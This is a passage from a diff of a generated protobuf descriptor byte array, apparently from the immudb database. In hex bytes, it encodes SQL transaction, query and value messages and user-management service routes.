0x06, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, - 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, - 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, - 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, + 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, + 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, + 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, + 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, + 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, + 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, + 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, + 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, + 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, + 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, + 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, + 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, - 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, - 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, - 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, - 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, - 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, - 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, - 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, - 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, - 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0c, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, - 0x6d, 0x6f, 0x64, 0x65, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, - 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, - 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, - 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, - 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, - 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, - 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, - 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, - 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, - 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, - 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, - 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, - 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, - 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, - 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, - 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, - 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, - 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, + 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, + 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, + 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 